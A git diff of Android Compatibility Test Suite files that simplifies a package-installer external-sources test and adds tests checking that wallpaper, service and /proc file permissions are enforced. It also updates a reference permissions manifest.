-        <option name="run-command" value="mkdir -p /data/local/tmp/cts/externalsources" />
-        <option name="teardown-command" value="rm -rf /data/local/tmp/cts"/>
-    </target_preparer>
-
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
-        <option name="cleanup" value="true" />
-        <option name="push" value="CtsEmptyTestApp.apk->/data/local/tmp/cts/externalsources/CtsEmptyTestApp.apk" />
-    </target_preparer>
-
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsExternalSourcesTestCases.apk" />
@@ -34,7 +24,7 @@
 
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.packageinstaller.externalsources.cts" />
-        <option name="runtime-hint" value="1m" />
+        <option name="runtime-hint" value="10s" />
     </test>
 
 </configuration>
diff --git a/tests/tests/packageinstaller/externalsources/res/xml/file_paths.xml b/tests/tests/packageinstaller/externalsources/res/xml/file_paths.xml
deleted file mode 100644
index 173435b..0000000
--- a/tests/tests/packageinstaller/externalsources/res/xml/file_paths.xml
+++ /dev/null
@@ -1,19 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2017 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<paths xmlns:android="http://schemas.android.com/apk/res/android">
-    <files-path name="apk" path="/" />
-</paths>
\ No newline at end of file
diff --git a/tests/tests/packageinstaller/externalsources/src/android/packageinstaller/externalsources/cts/ExternalSourcesTest.java b/tests/tests/packageinstaller/externalsources/src/android/packageinstaller/externalsources/cts/ExternalSourcesTest.java
index e10e278..921f5f1 100644
--- a/tests/tests/packageinstaller/externalsources/src/android/packageinstaller/externalsources/cts/ExternalSourcesTest.java
+++ b/tests/tests/packageinstaller/externalsources/src/android/packageinstaller/externalsources/cts/ExternalSourcesTest.java
@@ -15,122 +15,41 @@
  */
 package android.packageinstaller.externalsources.cts;
 
-import android.app.Instrumentation;
 import android.content.Context;
 import android.content.Intent;
 import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.provider.Settings;
 import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
+import android.support.test.filters.SmallTest;
 import android.support.test.runner.AndroidJUnit4;
-import android.support.test.uiautomator.By;
-import android.support.test.uiautomator.BySelector;
 import android.support.test.uiautomator.UiDevice;
-import android.support.test.uiautomator.UiObject2;
-import android.support.test.uiautomator.Until;
-import android.support.v4.content.FileProvider;
-import android.util.Log;
 
 import org.junit.After;
 import org.junit.Assert;
 import org.junit.Before;
-import org.junit.BeforeClass;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import java.io.File;
-import java.io.FileInputStream;
-import java.io.FileOutputStream;
 import java.io.IOException;
 
 @RunWith(AndroidJUnit4.class)
-@MediumTest
+@SmallTest
 public class ExternalSourcesTest {
 
-    private static final String TAG = ExternalSourcesTest.class.getSimpleName();
-    private static final String TEST_APK_NAME = "CtsEmptyTestApp.apk";
-    private static final String TEST_APK_EXTERNAL_LOCATION = "/data/local/tmp/cts/externalsources";
-    private static final String CONTENT_AUTHORITY =
-            "android.packageinstaller.externalsources.cts.fileprovider";
-    private static final String PACKAGE_INSTALLER_PACKAGE_NAME = "com.android.packageinstaller";
-    private static final String INSTALL_CONFIRM_TEXT_ID = "install_confirm_question";
-    private static final String WM_DISMISS_KEYGUARD_COMMAND = "wm dismiss-keyguard";
-    private static final String ALERT_DIALOG_TITLE_ID = "android:id/alertTitle";
-
-    private static final long WAIT_FOR_UI_TIMEOUT = 5000;
-
     private Context mContext;
     private PackageManager mPm;
-    private Instrumentation mInstrumentation;
     private String mPackageName;
-    private File mApkFile;
     private UiDevice mUiDevice;
-
-    @BeforeClass
-    public static void setUpOnce() throws IOException {
-        File srcApkFile = new File(TEST_APK_EXTERNAL_LOCATION, TEST_APK_NAME);
-        File destApkFile = new File(InstrumentationRegistry.getTargetContext().getFilesDir(),
-                TEST_APK_NAME);
-        copyFile(srcApkFile, destApkFile);
-    }
+    private boolean mHasFeature;
 
     @Before
     public void setUp() throws Exception {
         mContext = InstrumentationRegistry.getTargetContext();
-        mInstrumentation = InstrumentationRegistry.getInstrumentation();
         mPm = mContext.getPackageManager();
         mPackageName = mContext.getPackageName();
-        mApkFile = new File(mContext.getFilesDir(), TEST_APK_NAME);
-        mUiDevice = UiDevice.getInstance(mInstrumentation);
-        if (!mUiDevice.isScreenOn()) {
-            mUiDevice.wakeUp();
-        }
-        mUiDevice.executeShellCommand(WM_DISMISS_KEYGUARD_COMMAND);
-    }
-
-    private static void copyFile(File srcFile, File destFile) throws IOException {
-        if (destFile.exists()) {
-            destFile.delete();
-        }
-        FileInputStream inputStream = new FileInputStream(srcFile);
-        FileOutputStream out = new FileOutputStream(destFile);
-        try {
-            byte[] buffer = new byte[4096];
-            int bytesRead;
-            while ((bytesRead = inputStream.read(buffer)) >= 0) {
-                out.write(buffer, 0, bytesRead);
-            }
-            Log.d(TAG, "copied file " + srcFile + " to " + destFile);
-        } finally {
-            out.flush();
-            try {
-                out.getFD().sync();
-            } catch (IOException e) {
-            }
-            out.close();
-            inputStream.close();
-        }
-    }
-
-    private void launchPackageInstaller() {
-        Intent intent = new Intent(Intent.ACTION_INSTALL_PACKAGE);
-        intent.setData(FileProvider.getUriForFile(mContext, CONTENT_AUTHORITY, mApkFile));
-        intent.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
-        Log.d(TAG, "Starting intent with uri " + intent.getDataString());
-        mContext.startActivity(intent);
-    }
-
-    private void assertInstallAllowed(String errorMessage) {
-        BySelector selector = By.res(PACKAGE_INSTALLER_PACKAGE_NAME, INSTALL_CONFIRM_TEXT_ID);
-        UiObject2 uiObject = mUiDevice.wait(Until.findObject(selector), WAIT_FOR_UI_TIMEOUT);
-        Assert.assertNotNull(errorMessage, uiObject);
-        mUiDevice.pressBack();
-    }
-
-    private void assertInstallBlocked(String errorMessage) {
-        BySelector selector = By.res(ALERT_DIALOG_TITLE_ID);
-        UiObject2 settingsButton = mUiDevice.wait(Until.findObject(selector), WAIT_FOR_UI_TIMEOUT);
-        Assert.assertNotNull(errorMessage, settingsButton);
-        mUiDevice.pressBack();
+        mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+        mHasFeature = !mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH);
     }
 
     private void setAppOpsMode(String mode) throws IOException {
@@ -144,35 +63,39 @@
     @Test
     public void blockedSourceTest() throws Exception {
         setAppOpsMode("deny");
-        boolean isTrusted = mPm.canRequestPackageInstalls();
+        final boolean isTrusted = mPm.canRequestPackageInstalls();
         Assert.assertFalse("Package " + mPackageName
                 + " allowed to install packages after setting app op to errored", isTrusted);
-        launchPackageInstaller();
-        assertInstallBlocked("Install blocking dialog not shown when app op set to errored");
     }
 
     @Test
     public void allowedSourceTest() throws Exception {
         setAppOpsMode("allow");
-        boolean isTrusted = mPm.canRequestPackageInstalls();
+        final boolean isTrusted = mPm.canRequestPackageInstalls();
         Assert.assertTrue("Package " + mPackageName
                 + " blocked from installing packages after setting app op to allowed", isTrusted);
-        launchPackageInstaller();
-        assertInstallAllowed("Install confirmation not shown when app op set to allowed");
     }
 
     @Test
     public void defaultSourceTest() throws Exception {
-        boolean isTrusted = mPm.canRequestPackageInstalls();
+        setAppOpsMode("default");
+        final boolean isTrusted = mPm.canRequestPackageInstalls();
         Assert.assertFalse("Package " + mPackageName
                 + " with default app ops state allowed to install packages", isTrusted);
-        launchPackageInstaller();
-        assertInstallBlocked("Install blocking dialog not shown when app op set to default");
+    }
+
+    @Test
+    public void testManageUnknownSourcesExists() {
+        if (!mHasFeature) {
+            return;
+        }
+        Intent manageUnknownSources = new Intent(Settings.ACTION_MANAGE_UNKNOWN_APP_SOURCES);
+        ResolveInfo info = mPm.resolveActivity(manageUnknownSources, 0);
+        Assert.assertNotNull("No activity found for " + manageUnknownSources.getAction(), info);
     }
 
     @After
     public void tearDown() throws Exception {
-        mUiDevice.pressHome();
         setAppOpsMode("default");
     }
 }
diff --git a/tests/tests/permission/Android.mk b/tests/tests/permission/Android.mk
index 219c6f9..7f5fe1d 100644
--- a/tests/tests/permission/Android.mk
+++ b/tests/tests/permission/Android.mk
@@ -22,7 +22,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 # Include both the 32 and 64 bit versions
 LOCAL_MULTILIB := both
diff --git a/tests/tests/permission/jni/Android.mk b/tests/tests/permission/jni/Android.mk
index 91c0540..2e64d47 100644
--- a/tests/tests/permission/jni/Android.mk
+++ b/tests/tests/permission/jni/Android.mk
@@ -31,4 +31,6 @@
 LOCAL_SDK_VERSION := 23
 LOCAL_CPPFLAGS := -std=gnu++11
 
+LOCAL_CFLAGS := -Wno-unused-parameter
+
 include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/permission/res/drawable/robot.png b/tests/tests/permission/res/drawable/robot.png
new file mode 100644
index 0000000..8a9e698
--- /dev/null
+++ b/tests/tests/permission/res/drawable/robot.png
Binary files differ
diff --git a/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java b/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java
index 3a97129..bb9f868 100644
--- a/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java
@@ -169,6 +169,24 @@
         assertFalse(f.canExecute());
     }
 
+    /* b/26813932 */
+    @MediumTest
+    public void testProcInterruptsNotReadable() throws Exception {
+        File f = new File("/proc/interrupts");
+        assertFalse(f.canRead());
+        assertFalse(f.canWrite());
+        assertFalse(f.canExecute());
+    }
+
+    /* b/26813932 */
+    @MediumTest
+    public void testProcStatNotReadable() throws Exception {
+        File f = new File("/proc/stat");
+        assertFalse(f.canRead());
+        assertFalse(f.canWrite());
+        assertFalse(f.canExecute());
+    }
+
     @MediumTest
     public void testDevMemSane() throws Exception {
         File f = new File("/dev/mem");
diff --git a/tests/tests/permission/src/android/permission/cts/NoWallpaperPermissionsTest.java b/tests/tests/permission/src/android/permission/cts/NoWallpaperPermissionsTest.java
new file mode 100644
index 0000000..ad32923
--- /dev/null
+++ b/tests/tests/permission/src/android/permission/cts/NoWallpaperPermissionsTest.java
@@ -0,0 +1,172 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+
+package android.permission.cts;
+
+import android.app.WallpaperManager;
+import android.content.Context;
+import android.graphics.Bitmap;
+import android.media.MediaPlayer;
+import android.net.wifi.WifiManager;
+import android.net.wifi.WifiManager.WifiLock;
+import android.os.PowerManager;
+import android.test.AndroidTestCase;
+import android.test.suitebuilder.annotation.SmallTest;
+
+import java.io.ByteArrayInputStream;
+import java.io.IOException;
+
+import static android.app.WallpaperManager.FLAG_SYSTEM;
+import static android.app.WallpaperManager.FLAG_LOCK;
+
+/**
+ * Verify that Wallpaper-related operations enforce the correct permissions.
+ */
+public class NoWallpaperPermissionsTest extends AndroidTestCase {
+    private WallpaperManager mWM;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mWM = (WallpaperManager) mContext.getSystemService(Context.WALLPAPER_SERVICE);
+    }
+
+    /**
+     * Verify that the setResource(...) methods enforce the SET_WALLPAPER permission
+     */
+    @SmallTest
+    public void testSetResource() throws IOException {
+        if (wallpaperNotSupported()) {
+            return;
+        }
+
+        try {
+            mWM.setResource(R.drawable.robot);
+            fail("WallpaperManager.setResource(id) did not enforce SET_WALLPAPER");
+        } catch (SecurityException expected) { /* expected */ }
+
+        try {
+            mWM.setResource(R.drawable.robot, FLAG_LOCK);
+            fail("WallpaperManager.setResource(id, which) did not enforce SET_WALLPAPER");
+        } catch (SecurityException expected) { /* expected */ }
+    }
+
+    /**
+     * Verify that the setBitmap(...) methods enforce the SET_WALLPAPER permission
+     */
+    @SmallTest
+    public void testSetBitmap() throws IOException  {
+        if (wallpaperNotSupported()) {
+            return;
+        }
+
+        Bitmap b = Bitmap.createBitmap(160, 120, Bitmap.Config.RGB_565);
+
+        try {
+            mWM.setBitmap(b);
+            fail("setBitmap(b) did not enforce SET_WALLPAPER");
+        } catch (SecurityException expected) { /* expected */ }
+
+        try {
+            mWM.setBitmap(b, null, false);
+            fail("setBitmap(b, crop, allowBackup) did not enforce SET_WALLPAPER");
+        } catch (SecurityException expected) { /* expected */ }
+
+        try {
+            mWM.setBitmap(b, null, false, FLAG_SYSTEM);
+            fail("setBitmap(b, crop, allowBackup, which) did not enforce SET_WALLPAPER");
+        } catch (SecurityException expected) { /* expected */ }
+    }
+
+    /**
+     * Verify that the setStream(...) methods enforce the SET_WALLPAPER permission
+     */
+    @SmallTest
+    public void testSetStream() throws IOException  {
+        if (wallpaperNotSupported()) {
+            return;
+        }
+
+        ByteArrayInputStream stream = new ByteArrayInputStream(new byte[32]);
+
+        try {
+            mWM.setStream(stream);
+            fail("setStream(stream) did not enforce SET_WALLPAPER");
+        } catch (SecurityException expected) { /* expected */ }
+
+        try {
+            mWM.setStream(stream, null, false);
+            fail("setStream(stream, crop, allowBackup) did not enforce SET_WALLPAPER");
+        } catch (SecurityException expected) { /* expected */ }
+
+        try {
+            mWM.setStream(stream, null, false, FLAG_LOCK);
+            fail("setStream(stream, crop, allowBackup, which) did not enforce SET_WALLPAPER");
+        } catch (SecurityException expected) { /* expected */ }
+    }
+
+    /**
+     * Verify that the clearWallpaper(...) methods enforce the SET_WALLPAPER permission
+     */
+    @SmallTest
+    public void testClearWallpaper() throws IOException  {
+        if (wallpaperNotSupported()) {
+            return;
+        }
+
+        try {
+            mWM.clear();
+            fail("clear() did not enforce SET_WALLPAPER");
+        } catch (SecurityException expected) { /* expected */ }
+
+        try {
+            mWM.clear(FLAG_SYSTEM);
+            fail("clear(which) did not enforce SET_WALLPAPER");
+        } catch (SecurityException expected) { /* expected */ }
+    }
+
+    /**
+     * Verify that reading the current wallpaper requires READ_EXTERNAL_STORAGE
+     */
+    @SmallTest
+    public void testReadWallpaper() {
+        if (wallpaperNotSupported()) {
+            return;
+        }
+
+        try {
+            /* ignore result */ mWM.getFastDrawable();
+            fail("getFastDrawable() did not enforce READ_EXTERNAL_STORAGE");
+        } catch (SecurityException expected) { /* expected */ }
+
+        try {
+            /* ignore result */ mWM.peekFastDrawable();
+            fail("peekFastDrawable() did not enforce READ_EXTERNAL_STORAGE");
+        } catch (SecurityException expected) { /* expected */ }
+
+        try {
+            /* ignore result */ mWM.getWallpaperFile(FLAG_SYSTEM);
+            fail("getWallpaperFile(FLAG_SYSTEM) did not enforce READ_EXTERNAL_STORAGE");
+        } catch (SecurityException expected) { /* expected */ }
+    }
+
+    // ---------- Utility methods ----------
+
+    private boolean wallpaperNotSupported() {
+        return !(mWM.isWallpaperSupported() && mWM.isSetWallpaperAllowed());
+    }
+}
diff --git a/tests/tests/permission/src/android/permission/cts/ServicePermissionTest.java b/tests/tests/permission/src/android/permission/cts/ServicePermissionTest.java
new file mode 100644
index 0000000..6c10f1d
--- /dev/null
+++ b/tests/tests/permission/src/android/permission/cts/ServicePermissionTest.java
@@ -0,0 +1,75 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission.cts;
+
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.test.AndroidTestCase;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Objects;
+
+/**
+ * The security designs of many system features require that a special
+ * permission is only ever granted to the core system (typically
+ * {@code system_server}), since it's the only process that should be binding
+ * into sensitive app code.
+ * <p>
+ * No apps outside the {@code system_server} should <em>ever</em> attempt to
+ * acquire these permissions.
+ */
+public class ServicePermissionTest extends AndroidTestCase {
+    public static String[] sServicePermissions = {
+            android.Manifest.permission.ACCOUNT_MANAGER,
+            android.Manifest.permission.BIND_ACCESSIBILITY_SERVICE,
+            android.Manifest.permission.BIND_AUTOFILL_SERVICE,
+            android.Manifest.permission.BIND_CHOOSER_TARGET_SERVICE,
+            android.Manifest.permission.BIND_CONDITION_PROVIDER_SERVICE,
+            // android.Manifest.permission.BIND_DEVICE_ADMIN,
+            android.Manifest.permission.BIND_DREAM_SERVICE,
+            android.Manifest.permission.BIND_INPUT_METHOD,
+            android.Manifest.permission.BIND_MIDI_DEVICE_SERVICE,
+            // android.Manifest.permission.BIND_NFC_SERVICE,
+            android.Manifest.permission.BIND_NOTIFICATION_LISTENER_SERVICE,
+            android.Manifest.permission.BIND_PRINT_SERVICE,
+            // android.Manifest.permission.BIND_QUICK_SETTINGS_TILE,
+            android.Manifest.permission.BIND_TEXT_SERVICE,
+            android.Manifest.permission.BIND_VOICE_INTERACTION,
+            android.Manifest.permission.BIND_VPN_SERVICE,
+            android.Manifest.permission.BIND_VR_LISTENER_SERVICE,
+    };
+
+    public void testServicePermissions() {
+        final PackageManager pm = getContext().getPackageManager();
+
+        final List<String> failures = new ArrayList<>();
+        for (String perm : sServicePermissions) {
+            final List<PackageInfo> holding = pm.getPackagesHoldingPermissions(
+                    new String[] { perm }, PackageManager.MATCH_UNINSTALLED_PACKAGES);
+            for (PackageInfo pi : holding) {
+                if (!Objects.equals("android", pi.packageName)) {
+                    failures.add(perm + " held by " + pi.packageName);
+                }
+            }
+        }
+        if (!failures.isEmpty()) {
+            fail("Found permissions granted to packages outside of the core system: "
+                    + failures.toString());
+        }
+    }
+}
diff --git a/tests/tests/permission2/Android.mk b/tests/tests/permission2/Android.mk
index be984c5..062aeb7 100755
--- a/tests/tests/permission2/Android.mk
+++ b/tests/tests/permission2/Android.mk
@@ -22,7 +22,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_JAVA_LIBRARIES := telephony-common
 
diff --git a/tests/tests/permission2/res/raw/android_manifest.xml b/tests/tests/permission2/res/raw/android_manifest.xml
index 2ac96b9..fd82e07 100644
--- a/tests/tests/permission2/res/raw/android_manifest.xml
+++ b/tests/tests/permission2/res/raw/android_manifest.xml
@@ -94,6 +94,7 @@
     <protected-broadcast android:name="android.os.action.POWER_SAVE_TEMP_WHITELIST_CHANGED" />
     <protected-broadcast android:name="android.os.action.POWER_SAVE_MODE_CHANGED_INTERNAL" />
 
+    <!-- @deprecated This is rarely used and will be phased out soon. -->
     <protected-broadcast android:name="android.os.action.SCREEN_BRIGHTNESS_BOOST_CHANGED" />
 
     <protected-broadcast android:name="android.app.action.ENTER_CAR_MODE" />
@@ -146,6 +147,7 @@
     <protected-broadcast android:name="android.bluetooth.device.action.CONNECTION_ACCESS_CANCEL" />
     <protected-broadcast android:name="android.bluetooth.device.action.CONNECTION_ACCESS_REQUEST" />
     <protected-broadcast android:name="android.bluetooth.device.action.SDP_RECORD" />
+    <protected-broadcast android:name="android.bluetooth.device.action.BATTERY_LEVEL_CHANGED" />
     <protected-broadcast android:name="android.bluetooth.devicepicker.action.LAUNCH" />
     <protected-broadcast android:name="android.bluetooth.devicepicker.action.DEVICE_SELECTED" />
     <protected-broadcast
@@ -277,6 +279,7 @@
     <protected-broadcast android:name="com.android.nfc.cardemulation.action.CLOSE_TAP_DIALOG" />
     <protected-broadcast android:name="com.android.nfc.handover.action.ALLOW_CONNECT" />
     <protected-broadcast android:name="com.android.nfc.handover.action.DENY_CONNECT" />
+    <protected-broadcast android:name="com.android.nfc.handover.action.TIMEOUT_CONNECT" />
     <protected-broadcast android:name="com.android.nfc_extras.action.RF_FIELD_ON_DETECTED" />
     <protected-broadcast android:name="com.android.nfc_extras.action.RF_FIELD_OFF_DETECTED" />
     <protected-broadcast android:name="com.android.nfc_extras.action.AID_SELECTED" />
@@ -302,6 +305,7 @@
     <protected-broadcast android:name="com.android.server.WifiManager.action.DEVICE_IDLE" />
     <protected-broadcast android:name="com.android.server.action.REMOTE_BUGREPORT_SHARING_ACCEPTED" />
     <protected-broadcast android:name="com.android.server.action.REMOTE_BUGREPORT_SHARING_DECLINED" />
+    <protected-broadcast android:name="com.android.internal.action.EUICC_FACTORY_RESET" />
     <protected-broadcast android:name="com.android.server.usb.ACTION_OPEN_IN_APPS" />
     <protected-broadcast android:name="com.android.server.am.DELETE_DUMPHEAP" />
     <protected-broadcast android:name="com.android.server.net.action.SNOOZE_WARNING" />
@@ -454,6 +458,7 @@
     <protected-broadcast android:name="com.android.server.NetworkTimeUpdateService.action.POLL" />
     <protected-broadcast android:name="com.android.server.telecom.intent.action.CALLS_ADD_ENTRY" />
     <protected-broadcast android:name="com.android.settings.location.MODE_CHANGING" />
+    <protected-broadcast android:name="com.android.settings.bluetooth.ACTION_DISMISS_PAIRING" />
 
     <protected-broadcast android:name="NotificationManagerService.TIMEOUT" />
     <protected-broadcast android:name="ScheduleConditionProvider.EVALUATE" />
@@ -540,6 +545,7 @@
     <protected-broadcast android:name="android.media.tv.action.PREVIEW_PROGRAM_BROWSABLE_DISABLED" />
     <protected-broadcast android:name="android.media.tv.action.WATCH_NEXT_PROGRAM_BROWSABLE_DISABLED" />
     <protected-broadcast android:name="android.media.tv.action.CHANNEL_BROWSABLE_REQUESTED" />
+    <protected-broadcast android:name="com.android.server.InputMethodManagerService.SHOW_INPUT_METHOD_PICKER" />
 
     <!-- ====================================================================== -->
     <!--                          RUNTIME PERMISSIONS                           -->
@@ -764,7 +770,7 @@
         android:permissionGroup="android.permission-group.LOCATION"
         android:label="@string/permlab_accessFineLocation"
         android:description="@string/permdesc_accessFineLocation"
-        android:protectionLevel="dangerous|ephemeral" />
+        android:protectionLevel="dangerous|instant" />
 
     <!-- Allows an app to access approximate location.
          Alternatively, you might want {@link #ACCESS_FINE_LOCATION}.
@@ -774,7 +780,7 @@
         android:permissionGroup="android.permission-group.LOCATION"
         android:label="@string/permlab_accessCoarseLocation"
         android:description="@string/permdesc_accessCoarseLocation"
-        android:protectionLevel="dangerous|ephemeral" />
+        android:protectionLevel="dangerous|instant" />
 
     <!-- ====================================================================== -->
     <!-- Permissions for accessing the device telephony                         -->
@@ -808,13 +814,13 @@
         android:protectionLevel="dangerous" />
 
     <!-- Allows read access to the device's phone number(s). This is a subset of the capabilities
-         granted by {@link #READ_PHONE_STATE} but is exposed to ephemeral applications.
+         granted by {@link #READ_PHONE_STATE} but is exposed to instant applications.
          <p>Protection level: dangerous-->
     <permission android:name="android.permission.READ_PHONE_NUMBERS"
         android:permissionGroup="android.permission-group.PHONE"
         android:label="@string/permlab_readPhoneNumbers"
         android:description="@string/permdesc_readPhoneNumbers"
-        android:protectionLevel="dangerous|ephemeral" />
+        android:protectionLevel="dangerous|instant" />
 
     <!-- Allows an application to initiate a phone call without going through
         the Dialer user interface for the user to confirm the call.
@@ -946,25 +952,25 @@
         android:permissionGroup="android.permission-group.MICROPHONE"
         android:label="@string/permlab_recordAudio"
         android:description="@string/permdesc_recordAudio"
-        android:protectionLevel="dangerous"/>
+        android:protectionLevel="dangerous|instant"/>
 
     <!-- ====================================================================== -->
     <!-- Permissions for accessing the UCE Service                              -->
     <!-- ====================================================================== -->
 
     <!-- @hide Allows an application to Access UCE-Presence.
-         <p>Protection level: dangerous
+         <p>Protection level: signature|privileged
     -->
     <permission android:name="android.permission.ACCESS_UCE_PRESENCE_SERVICE"
         android:permissionGroup="android.permission-group.PHONE"
-        android:protectionLevel="signatureOrSystem"/>
+        android:protectionLevel="signature|privileged"/>
 
     <!-- @hide Allows an application to Access UCE-OPTIONS.
-         <p>Protection level: dangerous
+         <p>Protection level: signature|privileged
     -->
     <permission android:name="android.permission.ACCESS_UCE_OPTIONS_SERVICE"
         android:permissionGroup="android.permission-group.PHONE"
-        android:protectionLevel="signatureOrSystem"/>
+        android:protectionLevel="signature|privileged"/>
 
 
 
@@ -994,7 +1000,7 @@
         android:permissionGroup="android.permission-group.CAMERA"
         android:label="@string/permlab_camera"
         android:description="@string/permdesc_camera"
-        android:protectionLevel="dangerous|ephemeral" />
+        android:protectionLevel="dangerous|instant" />
 
 
     <!-- ====================================================================== -->
@@ -1236,7 +1242,7 @@
     <permission android:name="android.permission.INTERNET"
         android:description="@string/permdesc_createNetworkSockets"
         android:label="@string/permlab_createNetworkSockets"
-        android:protectionLevel="normal|ephemeral" />
+        android:protectionLevel="normal|instant" />
 
     <!-- Allows applications to access information about networks.
          <p>Protection level: normal
@@ -1244,7 +1250,7 @@
     <permission android:name="android.permission.ACCESS_NETWORK_STATE"
         android:description="@string/permdesc_accessNetworkState"
         android:label="@string/permlab_accessNetworkState"
-        android:protectionLevel="normal|ephemeral" />
+        android:protectionLevel="normal|instant" />
 
     <!-- Allows applications to access information about Wi-Fi networks.
          <p>Protection level: normal
@@ -1322,6 +1328,27 @@
     <permission android:name="android.permission.NETWORK_SETTINGS"
         android:protectionLevel="signature" />
 
+    <!-- #SystemApi @hide Allows applications to access information about LoWPAN interfaces.
+         <p>Not for use by third-party applications. -->
+    <permission android:name="android.permission.ACCESS_LOWPAN_STATE"
+        android:protectionLevel="signature|privileged" />
+
+    <!-- #SystemApi @hide Allows applications to change LoWPAN connectivity state.
+         <p>Not for use by third-party applications. -->
+    <permission android:name="android.permission.CHANGE_LOWPAN_STATE"
+        android:protectionLevel="signature|privileged" />
+
+    <!-- #SystemApi @hide Allows applications to read LoWPAN credential.
+         <p>Not for use by third-party applications. -->
+    <permission android:name="android.permission.READ_LOWPAN_CREDENTIAL"
+        android:protectionLevel="signature|privileged" />
+
+    <!-- #SystemApi @hide Allows a service to register or unregister
+         new LoWPAN interfaces.
+         <p>Not for use by third-party applications. -->
+    <permission android:name="android.permission.MANAGE_LOWPAN_INTERFACES"
+        android:protectionLevel="signature|privileged" />
+
     <!-- ======================================= -->
     <!-- Permissions for short range, peripheral networks -->
     <!-- ======================================= -->
@@ -1446,7 +1473,7 @@
     <permission android:name="android.permission.VIBRATE"
         android:label="@string/permlab_vibrate"
         android:description="@string/permdesc_vibrate"
-        android:protectionLevel="normal|ephemeral" />
+        android:protectionLevel="normal|instant" />
 
     <!-- Allows using PowerManager WakeLocks to keep processor from sleeping or screen
          from dimming.
@@ -1455,7 +1482,7 @@
     <permission android:name="android.permission.WAKE_LOCK"
         android:label="@string/permlab_wakeLock"
         android:description="@string/permdesc_wakeLock"
-        android:protectionLevel="normal|ephemeral" />
+        android:protectionLevel="normal|instant" />
 
     <!-- Allows using the device's IR transmitter, if available.
          <p>Protection level: normal
@@ -1501,7 +1528,12 @@
     <permission android:name="android.permission.HARDWARE_TEST"
         android:protectionLevel="signature" />
 
-    <!-- @SystemApi Allows access to FM
+    <!-- @SystemApi Allows access to Broadcast Radio
+         @hide This is not a third-party API (intended for system apps).-->
+    <permission android:name="android.permission.ACCESS_BROADCAST_RADIO"
+        android:protectionLevel="signature|privileged" />
+
+    <!-- @deprecated @SystemApi Allows access to FM
          @hide This is not a third-party API (intended for system apps).-->
     <permission android:name="android.permission.ACCESS_FM_RADIO"
         android:protectionLevel="signature|privileged" />
@@ -1668,6 +1700,11 @@
     <permission android:name="android.permission.RECEIVE_STK_COMMANDS"
         android:protectionLevel="signature|privileged" />
 
+      <!-- Allows an application to send EMBMS download intents to apps
+           @hide -->
+    <permission android:name="android.permission.SEND_EMBMS_INTENTS"
+        android:protectionLevel="signature|privileged" />
+
     <!-- Must be required by an ImsService to ensure that only the
          system can bind to it.
          <p>Protection level: signature|privileged
@@ -1825,6 +1862,10 @@
     <permission android:name="android.permission.MANAGE_ACTIVITY_STACKS"
         android:protectionLevel="signature|privileged" />
 
+    <!-- @SystemApi @hide Allows an application to embed other activities -->
+    <permission android:name="android.permission.ACTIVITY_EMBEDDING"
+                android:protectionLevel="signature|privileged" />
+
     <!-- Allows an application to start any activity, regardless of permission
          protection or exported state.
          @hide -->
@@ -1900,6 +1941,11 @@
         android:description="@string/permdesc_useDataInBackground"
         android:protectionLevel="signature" />
 
+    <!-- @hide Allows an application to set display offsets for the screen.
+         This permission is not available to third party applications. -->
+    <permission android:name="android.permission.SET_DISPLAY_OFFSET"
+        android:protectionLevel="signature|privileged" />
+
     <!-- Allows a companion app to run in the background.
          <p>Protection level: normal
     -->
@@ -1917,11 +1963,6 @@
                 android:protectionLevel="normal" />
 
 
-    <!-- @hide Allows an application to set display offsets for the screen.
-         This permission is not available to third party applications. -->
